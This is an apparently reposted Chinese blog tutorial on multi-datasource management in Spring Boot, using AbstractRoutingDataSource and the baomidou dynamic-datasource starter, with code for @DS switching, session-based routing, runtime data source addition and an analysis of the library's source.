DynamicDataSource多数据源的管理,动态新增切换数据源

news2024/9/22 21:12:20

文章目录

  • 多数据源管理
    • 单数据源项目
      • 父工程版本与依赖
      • yml配置文件
      • 实体类
      • 新增与修改时间
      • Mapper
      • Service
      • Controller
      • 主启动类
      • 测试类
    • 多数据源初始版
      • yml配置文件
      • 配置类
      • 创建一个AbstractRoutingDataSource
      • Controller层
      • 测试
    • DynamicDataSource版本
      • 引入依赖
      • yml配置文件
      • Controller层
      • Service层
    • 动态新增/切换数据源
      • 动态切换数据源
      • 动态新增数据源
      • 新增数据源 源码分析
      • 切换数据源 源码分析
    • DynamicDataSource事务
    • DynamicDataSource分布式事务扩展思路

多数据源管理

单数据源项目

父工程版本与依赖

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>org.example</groupId>
  <artifactId>sharding_sphere</artifactId>
  <version>1.0-SNAPSHOT</version>
  <modules>
    <module>druid_jdbc</module>
  </modules>
  <packaging>pom</packaging>

  <name>sharding_sphere</name>
  <description>ShardingSphere分库分表总工程</description>

  <properties>
    <java.version>1.8</java.version>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

    <mysql-connector.version>8.0.15</mysql-connector.version>
    <druid.version>1.1.10</druid.version>
    <mybatis.version>3.5.3</mybatis.version>
    <mybatis-plus.version>3.3.2</mybatis-plus.version>

    <swagger2.version>2.7.0</swagger2.version>

    <fastjson.version>2.0.51</fastjson.version>

    <!-- 微服务技术栈版本 -->
    <spring-boot.version>2.3.12.RELEASE</spring-boot.version>
  </properties>

  <dependencyManagement>
    <dependencies>
      <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>${spring-boot.version}</version>
        <type>pom</type>
        <scope>import</scope>
      </dependency>

      <!--集成druid连接池-->
      <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>druid-spring-boot-starter</artifactId>
        <version>${druid.version}</version>
      </dependency>

      <!-- MyBatis-->
      <dependency>
        <groupId>org.mybatis</groupId>
        <artifactId>mybatis</artifactId>
        <version>${mybatis.version}</version>
      </dependency>
      <dependency>
        <groupId>com.baomidou</groupId>
        <artifactId>mybatis-plus-boot-starter</artifactId>
        <version>${mybatis-plus.version}</version>
      </dependency>

      <!--Mysql数据库驱动-->
      <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>${mysql-connector.version}</version>
      </dependency>

      <!--Swagger-UI API文档生产工具-->
      <dependency>
        <groupId>io.springfox</groupId>
        <artifactId>springfox-swagger2</artifactId>
        <version>${swagger2.version}</version>
      </dependency>
      <dependency>
        <groupId>io.springfox</groupId>
        <artifactId>springfox-swagger-ui</artifactId>
        <version>${swagger2.version}</version>
      </dependency>

      <dependency>
        <groupId>com.alibaba.fastjson2</groupId>
        <artifactId>fastjson2</artifactId>
        <version>${fastjson.version}</version>
      </dependency>


    </dependencies>
  </dependencyManagement>



  <dependencies>
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>druid-spring-boot-starter</artifactId>
    </dependency>

    <dependency>
      <groupId>org.springframework.data</groupId>
      <artifactId>spring-data-commons</artifactId>
    </dependency>

    <dependency>
      <groupId>org.projectlombok</groupId>
      <artifactId>lombok</artifactId>
    </dependency>


    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter</artifactId>
    </dependency>

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

    <!-- 数据库相关 -->
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>druid-spring-boot-starter</artifactId>
    </dependency>
    <dependency>
      <groupId>mysql</groupId>
      <artifactId>mysql-connector-java</artifactId>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-jdbc</artifactId>
    </dependency>
    <dependency>
      <groupId>com.baomidou</groupId>
      <artifactId>mybatis-plus-boot-starter</artifactId>
    </dependency>

    <!--Swagger-UI API文档生产工具 User对象需要用到Swagger相关的注释 -->
    <dependency>
      <groupId>io.springfox</groupId>
      <artifactId>springfox-swagger2</artifactId>
    </dependency>
    <dependency>
      <groupId>io.springfox</groupId>
      <artifactId>springfox-swagger-ui</artifactId>
    </dependency>


    <!-- 请求参数校验 -->
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-validation</artifactId>
    </dependency>

    <dependency>
      <groupId>com.alibaba.fastjson2</groupId>
      <artifactId>fastjson2</artifactId>
      <version>${fastjson.version}</version>
    </dependency>

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-test</artifactId>
      <scope>test</scope>
    </dependency>
  </dependencies>


</project>



yml配置文件

server:
  port: 8081

spring:
  application:
    name: druid_jdbc_service

  datasource:
    druid:
      db-type: mysql
      driver-class-name: com.mysql.cj.jdbc.Driver
      url: jdbc:mysql://localhost:3306/sharding_sphere1?serverTimezone=UTC&useSSL=false&useUnicode=true&characterEncoding=UTF-8
      username: root
      password: 1234
      initial-size: 5 #连接池初始化大小
      min-idle: 10 #最小空闲连接数
      max-active: 20 #最大连接数


mybatis-plus:
  configuration:
    # 日志配置 选择StdOutImpl表示在控制台输出
    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl
    map-underscore-to-camel-case: true
  mapper-locations: classpath:com/hs/single/mapper/*.xml



实体类

package com.hs.single.entity;

import java.util.HashMap;
import java.util.Map;

/**
 * 返回数据
 *
 * @author hushang
 */
public class R extends HashMap<String, Object> {
    private static final long serialVersionUID = 1L;

    public R() {
        put("code", 0);
        put("msg", "success");
    }

    public static R error() {
        return error(500, "未知异常,请联系管理员");
    }

    public static R error(String msg) {
        return error(500, msg);
    }

    public static R error(int code, String msg) {
        R r = new R();
        r.put("code", code);
        r.put("msg", msg);
        return r;
    }

    public static R ok(String msg) {
        R r = new R();
        r.put("msg", msg);
        return r;
    }

    public static R ok(Map<String, Object> map) {
        R r = new R();
        r.putAll(map);
        return r;
    }

    public static R ok(Object obj) {
        R r = new R();
        r.put("data", obj);
        return r;
    }

    public static R ok() {
        return new R();
    }

    @Override
    public R put(String key, Object value) {
        super.put(key, value);
        return this;
    }
}
package com.hs.single.entity;

import com.baomidou.mybatisplus.annotation.*;
import com.fasterxml.jackson.annotation.JsonFormat;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
import lombok.Data;
import lombok.EqualsAndHashCode;
import lombok.experimental.Accessors;

import java.io.Serializable;
import java.util.Date;

/**
 * <p>
 * 用户表
 * </p>
 *
 * @author 胡尚
 * @since 2024-08-02
 */
@Data
@EqualsAndHashCode(callSuper = false)
@Accessors(chain = true)
@TableName("sys_user")
@ApiModel(value="User对象", description="用户表")
public class User implements Serializable {

    private static final long serialVersionUID = 1L;

    @ApiModelProperty(value = "id")
    @TableId(value = "id", type = IdType.ASSIGN_ID)
    private Long id;

    @ApiModelProperty(value = "用户名")
    private String username;

    @ApiModelProperty(value = "密码")
    private String password;

    @ApiModelProperty(value = "姓名")
    private String name;

    @ApiModelProperty(value = "描述")
    private String description;

    @ApiModelProperty(value = "状态(1:正常 0:停用)")
    private Integer status;

    @ApiModelProperty(value = "创建时间")
    @JsonFormat(pattern="yyyy-MM-dd HH:mm:ss",timezone = "GMT+8")
    @TableField(fill = FieldFill.INSERT)
    private Date createTime;

    @ApiModelProperty(value = "最后修改时间")
    @JsonFormat(pattern="yyyy-MM-dd HH:mm:ss",timezone = "GMT+8")
    @TableField(fill = FieldFill.INSERT_UPDATE)
    private Date updateTime;


}

package com.hs.single.dto.req;

import io.swagger.annotations.ApiModelProperty;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

import javax.validation.constraints.NotBlank;

/**
 * @Description: 请求参数
 * @Author 胡尚
 * @Date: 2024/8/2 10:21
 */
@Data
@NoArgsConstructor
@AllArgsConstructor
public class UserReq {

    @NotBlank(message = "用户名不能为null")
    @ApiModelProperty(value = "用户名")
    private String username;

    @NotBlank(message = "密码不能为null")
    @ApiModelProperty(value = "密码")
    private String password;


    @ApiModelProperty(value = "姓名")
    private String name;

    @ApiModelProperty(value = "描述")
    private String description;

}



新增与修改时间

package com.hs.single.handle;

import com.baomidou.mybatisplus.core.handlers.MetaObjectHandler;
import org.apache.ibatis.reflection.MetaObject;
import org.springframework.stereotype.Component;

import java.util.Date;

/**
 * @Description: 新增与修改时自动填充值
 * @Author 胡尚
 * @Date: 2024/8/2 10:56
 */
@Component
public class MyMetaObjectHandler implements MetaObjectHandler {

    @Override
    public void insertFill(MetaObject metaObject) {
        // 该方法就是设置某字段的值
        // 该方法的三个参数是 要自动填充的字段 填充什么内容 最后一个是要给那个字段处理
        // 注意 该方法的第一个参数对应的是实体类的变量名 而不是数据表中的字段
        this.setFieldValByName("createTime" , new Date() , metaObject);
        this.setFieldValByName("updateTime" , new Date() , metaObject);
    }

    @Override
    public void updateFill(MetaObject metaObject) {
        //更新操作就仅仅只需要修改updateTime 这一个字段即可。
        this.setFieldValByName("updateTime" , new Date() , metaObject);
    }
}



Mapper

package com.hs.single.mapper;

import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import com.hs.single.entity.User;

/**
 * @Description: TODO
 * @Author 胡尚
 * @Date: 2024/8/2 10:08
 */
public interface UserMapper extends BaseMapper<User> {
}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.hs.single.mapper.UserMapper">

    <!-- 通用查询映射结果 -->
    <resultMap id="BaseResultMap" type="com.hs.single.entity.User">
        <id column="id" property="id" />
        <result column="username" property="username" />
        <result column="password" property="password" />
        <result column="name" property="name" />
        <result column="description" property="description" />
        <result column="status" property="status" />
        <result column="create_time" property="createTime" />
        <result column="update_time" property="updateTime" />
    </resultMap>

    <!-- 通用查询结果列 -->
    <sql id="Base_Column_List">
        id, username, password, name, description, status, create_time, update_time
    </sql>

</mapper>



Service

package com.hs.single.service;

import com.baomidou.mybatisplus.extension.service.IService;
import com.hs.single.dto.req.UserReq;
import com.hs.single.entity.User;

/**
 * @Description: TODO
 * @Author 胡尚
 * @Date: 2024/8/2 10:10
 */
public interface UserService extends IService<User> {
    /**
     * 新增用户
     * @param req user请求参数
     * @return 操作数
     */
    int addUser(UserReq req);
}

package com.hs.single.service.impl;

import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.hs.single.dto.req.UserReq;
import com.hs.single.entity.User;
import com.hs.single.mapper.UserMapper;
import com.hs.single.service.UserService;
import org.springframework.beans.BeanUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

/**
 * @Description: TODO
 * @Author 胡尚
 * @Date: 2024/8/2 10:11
 */
@Service
public class UserServiceImpl extends ServiceImpl<UserMapper, User> implements UserService {

    @Autowired
    private UserMapper userMapper;

    @Override
    public int addUser(UserReq req) {
        User user = new User();
        // 对象转换
        BeanUtils.copyProperties(req,user);

        int insertCount = userMapper.insert(user);
        return insertCount;
    }
}



Controller

package com.hs.single.controller;

import com.hs.single.dto.req.UserReq;
import com.hs.single.entity.R;
import com.hs.single.entity.User;
import com.hs.single.service.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;

import javax.validation.constraints.NotNull;

/**
 * @Description: TODO
 * @Author 胡尚
 * @Date: 2024/8/2 10:12
 */
@RestController
@RequestMapping("/user")
public class UserController {

    @Autowired
    private UserService userService;

    @PostMapping
    public R addUser(@RequestBody UserReq req){
        int i = userService.addUser(req);
        return R.ok();
    }

    @GetMapping
    public R queryUser(@RequestParam("userId")
                           @NotNull(message = "userId不能为null") Long userId){
        User user = userService.getById(userId);
        return R.ok(user);

    }
}



主启动类

package com.hs.single;

import org.mybatis.spring.annotation.MapperScan;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

/**
 * 使用了 @MapperScan 注解那么我们的mapper接口中就不需要再加@Mapper注解了
 * @Description: TODO
 * @Author 胡尚
 * @Date: 2024/8/2 9:49
 */
@SpringBootApplication
@MapperScan("com.hs.single.mapper")
public class DruidApplication {
    public static void main(String[] args) {
        SpringApplication.run(DruidApplication.class, args);
    }
}



测试类

package com.hs.single;

import com.hs.single.dto.req.UserReq;
import com.hs.single.service.UserService;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;

/**
 * @Description: TODO
 * @Author 胡尚
 * @Date: 2024/8/2 10:42
 */
@SpringBootTest
@RunWith(SpringRunner.class)
public class UserTest {

    @Autowired
    private UserService userService;

    @Test
    public void testAddUser(){
        UserReq userReq = new UserReq("deimkf", "123", "hushang","描述");
        userService.addUser(userReq);
    }
}



多数据源初始版

yml配置文件

在yml配置文件中配置多个数据源

server:
  port: 8082

spring:
  application:
    name: route_datasource_service
  datasource:
    type: com.alibaba.druid.pool.DruidDataSource
    # 自定义第一个数据源
    datasource1:
      driver-class-name: com.mysql.cj.jdbc.Driver
      url: jdbc:mysql://localhost:3306/sharding_sphere1?serverTimezone=UTC&useSSL=false&useUnicode=true&characterEncoding=UTF-8
      username: root
      password: 1234
      initial-size: 2
      min-idle: 2
      max-active: 20
      test-on-borrow: true
    # 自定义第二个数据源
    datasource2:
      driver-class-name: com.mysql.cj.jdbc.Driver
      url: jdbc:mysql://localhost:3306/sharding_sphere2?serverTimezone=UTC&useSSL=false&useUnicode=true&characterEncoding=UTF-8
      username: root
      password: 1234
      initial-size: 2
      min-idle: 2
      max-active: 20
      test-on-borrow: true

mybatis-plus:
  configuration:
    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl



配置类

配置类中读取yml配置文件中的内容,并生成多个DataSource对象存入Spring容器中,在后面还可以添加对应的事务管理器中添加对应的数据源

package com.hs.dynamic.config;

import com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceBuilder;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.jdbc.datasource.DataSourceTransactionManager;

import javax.sql.DataSource;

/**
 * @Description: 数据源的配置类
 *      通过我们yml配置文件中的配置,创建两个数据源,并存入spring容器中
 * @Author 胡尚
 * @Date: 2024/8/2 12:37
 */
@Configuration
public class DataSourceConfig {

    @Bean
    @ConfigurationProperties(prefix = "spring.datasource.datasource1")
    public DataSource dataSource1(){
        // 底层会拿到我们spring.datasource.datasource1中的配置,创建一个DruidDataSource
        return DruidDataSourceBuilder.create().build();
    }

    @Bean
    @ConfigurationProperties(prefix = "spring.datasource.datasource2")
    public DataSource dataSource2(){
        // 底层会拿到我们spring.datasource.datasource2中的配置,创建一个DruidDataSource
        return DruidDataSourceBuilder.create().build();
    }


    /**
     * 事务管理器
     */
    @Bean
    public DataSourceTransactionManager transactionManager1(DynamicDataSource dataSource){
        DataSourceTransactionManager dataSourceTransactionManager = new DataSourceTransactionManager();
        dataSourceTransactionManager.setDataSource(dataSource);
        return dataSourceTransactionManager;
    }

    @Bean
    public DataSourceTransactionManager transactionManager2(DynamicDataSource dataSource){
        DataSourceTransactionManager dataSourceTransactionManager = new DataSourceTransactionManager();
        dataSourceTransactionManager.setDataSource(dataSource);
        return dataSourceTransactionManager;
    }
}



创建一个AbstractRoutingDataSource

接下来自定义一个类,继承AbstractRoutingDataSource类

package com.hs.dynamic.config;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.context.annotation.Primary;
import org.springframework.jdbc.datasource.lookup.AbstractRoutingDataSource;
import org.springframework.stereotype.Component;

import javax.sql.DataSource;
import java.util.HashMap;
import java.util.Map;

/**
 * @Description: 往Spring容器中添加一个AbstractRoutingDataSource 类型的bean
 *              使用AbstractRoutingDataSource创建两个库,R表示读库,W表示写库。
 * @Author 胡尚
 * @Date: 2024/8/2 12:32
 */
@Component("dynamicDataSource")
@Primary
public class DynamicDataSource extends AbstractRoutingDataSource {

    /**
     * 声明一个ThreadLocal对象,在controller方法中会往这里面存值
     */
    public static ThreadLocal<String> dataSourceKey =new ThreadLocal<>();

    @Autowired
    @Qualifier("dataSource1")
    private DataSource dataSource1;

    @Autowired
    @Qualifier("dataSource2")
    private DataSource dataSource2;

    @Override
    protected Object determineCurrentLookupKey() {
        // 从ThreadLocal中取值
        return dataSourceKey.get();
    }

    @Override
    public void afterPropertiesSet() {
        // 在初始化方法中,将我们创建的两个数据源进行set
        // 我们定义其中一个为写库 一个为读库
        // 这里的key要和Controller层存入ThreadLocal中的key对应上
        Map<Object, Object> targetDataSources = new HashMap<>(16);
        targetDataSources.put("hsW", dataSource1);
        targetDataSources.put("hsR", dataSource2);

        // 将我们创建的两个数据源进行set
        super.setTargetDataSources(targetDataSources);
        // 为defaultTargetDataSource 设置默认的数据源
        super.setDefaultTargetDataSource(dataSource1);

        super.afterPropertiesSet();
    }
}



Controller层

package com.hs.dynamic.controller;

import com.hs.dynamic.config.DynamicDataSource;
import com.hs.dynamic.dto.req.UserReq;
import com.hs.dynamic.entity.R;
import com.hs.dynamic.entity.User;
import com.hs.dynamic.service.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;

import javax.validation.constraints.NotNull;
import java.util.ArrayList;
import java.util.List;

/**
 * @Description: TODO
 * @Author 胡尚
 * @Date: 2024/8/2 10:12
 */
@RestController
@RequestMapping("/user")
public class UserController {

    @Autowired
    private UserService userService;

    /**
     * 添加一个dsKey的请求参数,表示使用哪一个数据库
     * @param dsKey 使用哪一个数据库,默认值是hsW
     * @param req 请求参数
     * @return 。
     */
    @PostMapping
    public R addUser(@RequestParam(value = "dsKey",defaultValue = "hsW") String dsKey,
                     @RequestBody UserReq req){
        // 使用哪一个数据库的key 保存至ThreadLocal中
        DynamicDataSource.dataSourceKey.set(dsKey);
        try{
            userService.addUser(req);
        } finally {
            // 请求完成后需要移除
            DynamicDataSource.dataSourceKey.remove();
        }
        return R.ok();
    }

    /**
     * 添加一个dsKey的请求参数,表示使用哪一个数据库
     * @param dsKey 使用哪一个数据库,默认值是hsR
     * @return 。
     */
    @GetMapping
    public R queryUser(@RequestParam(value = "dsKey",defaultValue = "hsR") String dsKey){

        // 使用哪一个数据库的key 保存至ThreadLocal中
        DynamicDataSource.dataSourceKey.set(dsKey);

        List<User> userList = new ArrayList<>();
        try {
            userList.addAll(userService.list());
        } finally {
            // 请求完成后需要移除
            DynamicDataSource.dataSourceKey.remove();
        }
        return R.ok(userList);

    }
}



测试

添加用户

在这里插入图片描述




在这里插入图片描述



在这里插入图片描述



查询用户

在这里插入图片描述



在这里插入图片描述



DynamicDataSource版本

引入依赖

<dependency>
    <groupId>com.baomidou</groupId>
    <artifactId>dynamic-datasource-spring-boot-starter</artifactId>
    <version>3.5.0</version>
</dependency>



yml配置文件

server:
  port: 8083

spring:
  application:
    name: dynamic_datasource_service
  datasource:
    # 使用dynamic DataSource框架
    dynamic:
      # 设置默认的数据源
      primary: hsWrite
      # 是否启用严格模式,默认不启动. 严格模式下未匹配到数据源直接报错, 非严格模式下则使用默认数据源
      strict: false
      datasource:
        # 配置第一个数据源
        hsWrite:
          driver-class-name: com.mysql.cj.jdbc.Driver
          url: jdbc:mysql://localhost:3306/sharding_sphere1?serverTimezone=UTC&useSSL=false&useUnicode=true&characterEncoding=UTF-8
          username: root
          password: 1234
          initial-size: 1
          min-idle: 1
          max-active: 20
          test-on-borrow: true
        # 配置第二个数据源
        hsRead:
          driver-class-name: com.mysql.cj.jdbc.Driver
          url: jdbc:mysql://localhost:3306/sharding_sphere2?serverTimezone=UTC&useSSL=false&useUnicode=true&characterEncoding=UTF-8
          username: root
          password: 1234
          initial-size: 1
          min-idle: 1
          max-active: 20
          test-on-borrow: true

mybatis-plus:
  configuration:
    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl



Controller层

@RestController
@RequestMapping("/user")
public class UserController {

    @Autowired
    private UserService userService;

    @PostMapping
    public R addUser(@RequestBody UserReq req) {
        userService.addUser(req);
        return R.ok();
    }

    @GetMapping
    public R queryUser() {

        List<User> userList = new ArrayList<>();
        userList.addAll(userService.findAll());
        return R.ok(userList);

    }
}



Service层

在类上使用@DS注解,也可以在方法上使用@DS注解来指定使用某个数据源

package com.hs.dynamic.service.impl;

import com.baomidou.dynamic.datasource.annotation.DS;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.hs.dynamic.req.UserReq;
import com.hs.dynamic.entity.User;
import com.hs.dynamic.mapper.UserMapper;
import com.hs.dynamic.service.UserService;
import org.springframework.beans.BeanUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import java.util.Collection;

/**
 * @Description: 在类上使用@DS注解,也可以在方法上使用@DS注解来指定使用某个数据源
 * @Author 胡尚
 * @Date: 2024/8/2 10:11
 */
@Service
@DS("hsWrite")
public class UserServiceImpl extends ServiceImpl<UserMapper, User> implements UserService {

    @Autowired
    private UserMapper userMapper;

    @Override
    public int addUser(UserReq req) {
        User user = new User();
        // 对象转换
        BeanUtils.copyProperties(req,user);

        int insertCount = userMapper.insert(user);
        return insertCount;
    }

    @Override
    @DS("hsRead")
    public Collection<? extends User> findAll() {
        return userMapper.selectList(new QueryWrapper<>());
    }
}



动态新增/切换数据源

在上方的案例中我们是在yml配置文件中指定了两个数据源。并且在Service方法上使用@DS注解指定了使用某一个数据源。

我们也可以动态的新增数据源,或者是根据请求参数动态的更改使用某个数据源



动态切换数据源

Controller层方法

从请求参数中取出指定访问数据源的key,存入session中,这里存入session的key要和Service方法中@DS注解中的值对应上。

@GetMapping("/sesstionTest")
public R sesstionTest(@RequestParam(value = "dsKey",defaultValue = "hsWrite") String dsKey, HttpServletRequest request) {

    // 注意,这里存入session的key要和Service方法中@DS注解中的值对应上。而value要和配置文件中定义的数据源对应
    request.getSession().setAttribute("hs_session_db_key", dsKey);

    List<User> userList = new ArrayList<>();
    userList.addAll(userService.sessionFindAll());
    return R.ok(userList);

}



Service方法

@DS注解中需要以#session.开头,之后的值要和上面Controller成存入session的key对应上

@DS("#session.hs_session_db_key")
public Collection<? extends User> sessionFindAll() {
    return userMapper.selectList(new QueryWrapper<>());
}



动态新增数据源

我们为单独的用户保存单独的数据连接信息

在这里插入图片描述



Controller层方法

// 根据userId查询到该用户对应的数据源信息
@Autowired
private UserDriverService userDriverService;

@Resource
DynamicRoutingDataSource dataSource;

@GetMapping("/dynamicAddTest")
public R dynamicAddTest(@RequestParam(value = "userId") Long userId, HttpServletRequest request) {

    // 根据userId查询到该用户对应的数据源信息
    UserDriver userDriver = userDriverService.getByUserId(userId);
    
    // 创建一个数据源
    DruidDataSource druidDataSource = new DruidDataSource();
    druidDataSource.setDriverClassName(userDriver.getDriverClassName());
    druidDataSource.setUrl(userDriver.getUrl());
    druidDataSource.setUsername(userDriver.getUsername());
    druidDataSource.setPassword(userDriver.getPassword());
    
    // 把新创建的数据源添加进DynamicRoutingDataSource中,这里的key就是该数据源的名字
    dataSource.addDataSource("hsNewDataSource", druidDataSource);


    // 注意,这里存入session的key要和Service方法中@DS注解中的值对应上。而value就是数据源的名字
    request.getSession().setAttribute("hs_session_db_key", "hsNewDataSource");

    List<User> userList = new ArrayList<>();
    userList.addAll(userService.sessionFindAll());
    return R.ok(userList);

}



Service的方法还是没有变动

@Override
@DS("#session.hs_session_db_key")
public Collection<? extends User> sessionFindAll() {
    return userMapper.selectList(new QueryWrapper<>());
}



很简单就实现了每个用户使用单独的数据源

测试

在这里插入图片描述



在这里插入图片描述



新增数据源 源码分析

源码入口,还是通过spring.factiries文件找自动配置类,进入到DynamicDataSourceAutoConfiguration

在这里插入图片描述



DynamicDataSourceAutoConfiguration自动配置类中会添加一个DynamicRoutingDataSource数据源

@Bean
@ConditionalOnMissingBean
public DataSource dataSource() {
    // 查看DynamicRoutingDataSource类的创建流程
    DynamicRoutingDataSource dataSource = new DynamicRoutingDataSource();
    dataSource.setPrimary(properties.getPrimary());
    dataSource.setStrict(properties.getStrict());
    dataSource.setStrategy(properties.getStrategy());
    dataSource.setP6spy(properties.getP6spy());
    dataSource.setSeata(properties.getSeata());
    return dataSource;
}



进入到DynamicRoutingDataSource类中就会发现它实现了InitializingBean接口。在通过查看afterPropertiesSet()方法就会发现在这里会遍历我们在yml配置文件中配置的数据源,并调用addDataSource()方法添加进DynamicRoutingDataSource类中

@Override
public void afterPropertiesSet() throws Exception {
    // 检查开启了配置但没有相关依赖
    checkEnv();
    // 添加并分组数据源
    Map<String, DataSource> dataSources = new HashMap<>(16);
    for (DynamicDataSourceProvider provider : providers) {
        dataSources.putAll(provider.loadDataSources());
    }

    // 遍历yml配置文件中配置的数据源
    for (Map.Entry<String, DataSource> dsItem : dataSources.entrySet()) {
        // 在下面的方法中会把我们定义的数据源添加进DataSourceMap集合中: dataSourceMap.put(ds, dataSource);
        addDataSource(dsItem.getKey(), dsItem.getValue());
    }
    //  打印日志 ......
}

在这里插入图片描述

至此,通过源码就找到了如何动态的添加数据源



切换数据源 源码分析

DynamicDataSourceAutoConfiguration自动配置类中会添加一个Advisor,相信大家对Spring的源码应该是已经非常熟悉了吧,这里就不过多介绍Spring了

@Role(BeanDefinition.ROLE_INFRASTRUCTURE)
@Bean
@ConditionalOnProperty(...)
public Advisor dynamicDatasourceAnnotationAdvisor(DsProcessor dsProcessor) {
    DynamicDatasourceAopProperties aopProperties = properties.getAop();
    // 创建一个 interceptor
    DynamicDataSourceAnnotationInterceptor interceptor = new DynamicDataSourceAnnotationInterceptor(aopProperties.getAllowedPublicOnly(), dsProcessor);
    
    // 利用的AOP 解析处理@DS注解,而要执行的增强方法就在上方Interceptor的invoke()方法中
    // 这里的Interceptor就是Advice,DS.class会封装为CheckPoint   Advisor = advice + CheckPoint
    DynamicDataSourceAnnotationAdvisor advisor = new DynamicDataSourceAnnotationAdvisor(interceptor, DS.class);
    advisor.setOrder(aopProperties.getOrder());
    return advisor;
}



DynamicDataSourceAnnotationInterceptorinvoke()方法。该方法的处理流程就和上文中《多数据源初始版》非常类似

  • 调用determineDatasourceKey()方法获取到代表数据源的key
    • 获取@DS注解中设置的值,
    • 如果不是#开头就直接返回
    • 如果是#开头就去调用DsProcessor#determineDatasource方法,调用所有DsProcessor的子类去进行匹配,最终找到对应的数据源的key返回
  • 存入ThreadLocal中
  • 执行下一个Interceptor --> 目标方法
  • ThreadLocal中移除
@Override
public Object invoke(MethodInvocation invocation) throws Throwable {
    // 调用determineDatasourceKey()方法获取到代表数据源的key
    String dsKey = determineDatasourceKey(invocation);
    
    // 存入ThreadLocal中
    DynamicDataSourceContextHolder.push(dsKey);
    try {
        // 执行下一个Interceptor  -->  目标方法
        return invocation.proceed();
    } finally {
        
        // ThreadLocal中移除
        DynamicDataSourceContextHolder.poll();
    }
}


private String determineDatasourceKey(MethodInvocation invocation) {
    // key 为我们@DS()注解中设置的值
    String key = dataSourceClassResolver.findKey(invocation.getMethod(), invocation.getThis());
    // 如果key为#开头,那么就调用DsProcessor.determineDatasource()方法,否则就直接返回我们@DS()注解中设置的值
    return key.startsWith(DYNAMIC_PREFIX) ? dsProcessor.determineDatasource(invocation, key) : key;
}

public abstract class DsProcessor {


    /**
     * 抽象匹配条件 匹配才会走当前执行器否则走下一级执行器
     *
     * @param key DS注解里的内容
     * @return 是否匹配
     */
    public abstract boolean matches(String key);

    /**
     * 决定数据源
     * <pre>
     *     调用底层doDetermineDatasource,
     *     如果返回的是null则继续执行下一个,否则直接返回
     * </pre>
     *
     * @param invocation 方法执行信息
     * @param key        DS注解里的内容
     * @return 数据源名称
     */
    public String determineDatasource(MethodInvocation invocation, String key) {
        // 调用子类重写该抽象方法具体的实现
        if (matches(key)) {
            // 调用抽象方法具体的实现
            String datasource = doDetermineDatasource(invocation, key);
            if (datasource == null && nextProcessor != null) {
                 //如果返回的是null则继续执行下一个
                return nextProcessor.determineDatasource(invocation, key);
            }
            return datasource;
        }
        if (nextProcessor != null) {
            return nextProcessor.determineDatasource(invocation, key);
        }
        return null;
    }

    /**
     * 抽象最终决定数据源
     *
     * @param invocation 方法执行信息
     * @param key        DS注解里的内容
     * @return 数据源名称
     */
    public abstract String doDetermineDatasource(MethodInvocation invocation, String key);
}

在这里插入图片描述



这里就以Session举例

public class DsSessionProcessor extends DsProcessor {

    /**
     * session开头
     */
    private static final String SESSION_PREFIX = "#session";

    @Override
    public boolean matches(String key) {
        // 进行匹配 是否为#session开头
        return key.startsWith(SESSION_PREFIX);
    }

    @Override
    public String doDetermineDatasource(MethodInvocation invocation, String key) {
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
        // 从session中取值,最终返回代表数据源的key
        return request.getSession().getAttribute(key.substring(9)).toString();
    }
}



DynamicDataSource事务

在Service方法上使用@DSTransactional注解,它的功能就和Spring提供的@Transaction注解的功能一样

所以它们都只能支持本地事务,不能满足分布式事务



DynamicDataSource分布式事务扩展思路

获得DynamicRoutingDataSource对象,取出其中所有的数据源。再获得所有的连接对象,在通过XA去实现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1973872.html

